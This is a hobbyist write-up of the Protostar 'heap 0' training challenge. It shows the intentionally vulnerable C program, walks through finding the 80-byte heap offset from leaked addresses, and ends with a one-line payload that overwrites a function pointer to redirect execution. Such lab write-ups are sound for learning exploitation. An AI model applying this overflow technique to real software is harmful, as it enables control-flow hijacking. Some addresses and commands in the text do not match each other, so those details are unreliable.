Protostar Heap 0

https://github.com/0xmanjoos/Exploit-Development/blob/main/HEAP/protostar/heap0/heap0

this is strange indeed, not really sure what to do here but i think i might have an idea lets take a look at the source code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();
}

ok so there is a winner, and a nowinner function, im assuming we will have to hijack program execution to call winner() have 2 structs, data and fp, im pretty sure what (*fp)() is doing is that it is executing whatever that int fp points to, i speculate that this is the case due to the disassembly of the program

mov rdx, qword [rax]
-- snip --
call rdx

ive never seen this before, but it would make sense, as previously mentioned

(*fp)()

i am assuming that in c, '()' means to call or execute whatever fp would be pointing to now all we have to do is figure out, just what it is pointing to and how we can change whatever it is pointing to lets take a good look at main again

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();
}

the key would be here:

f->fp = nowinner;

it points to nowinner, there is no other occurence of the function nowinner within main, so this has to be where nowinner would be called, which means we technically have no direct call to nowinner which means my hypothesis on how execution happens was probably correct it also allocates struct data, and fp on the heap with malloc.

now lets take a look at how it handles user input:

strcpy(d->name, argv[1]);

it will copy argv[1] into data name, which is on the heap, now this has no way to check if our input is too large, and name is a buffer of 64 bytes, which means we also have a buffer overflow vulnerability

this challenge is within the heap module, so i doubt this has any stack vulnerabilities in it, probably just a heap loophold or something of the sort lets experiment a bit

i think i understand the challenge

we have:

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

data will store our buffer, whilst also containing a buffer overflow vulnerability fp will execute whatever int fp is pointing to, this is important now lets take a look at the heap operations

d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

the structs will be allocated on the heap, but data would be allocated first this is interesting, if we overflow the data buffer, maybe we would be able to overwrite the fp pointer as of right now, the fp pointer that will be executed soon is pointing towards nowinner() which is not what we want we are winners D:<

lets take a look at our input

printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();

it will leak the addresses of the data and fp struct on the heap, then copy any value into the 64 bytes name buffer on the data struct in the heap.

it will then execute whatever f->fp is pointing to, ive realized that this is the value that is being moved into rdx, then called

so if we overwrite the fp pointer on the heap, then we get program execution into winnner? this is just a hypothesis, i have no idea how to get the offset between them, maybe malloc size??

maybe that is what the leaks are for?, the leaks provide us with an offset to go off of, if the buffer offset is 64 before being overflowed, then we can just take a look at the offset between the d and f structs on the heap, and overwrite the pointer to nowinner()

lets try that

root@root~# ./heap0 a
data is at 0x8c901a0, fp is at 0x8c901f0
level has not been passed

now that we have the two offsets, lets see what the difference is between them in decimal

Python 3.9.2 (default, Oct 31 1995, 11:11:11) 
[GCC 1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x88871f0-0x88871a0
80
>>>

so we now know our offset, lets pwn this binary

root@root~# ./a.out $(python2 -c 'from pwn import p64; print"A"*80+p64(0x08048464)')
data is at 0x87621a0, fp is at 0x87621f0
level passed

woopwoop

Last updated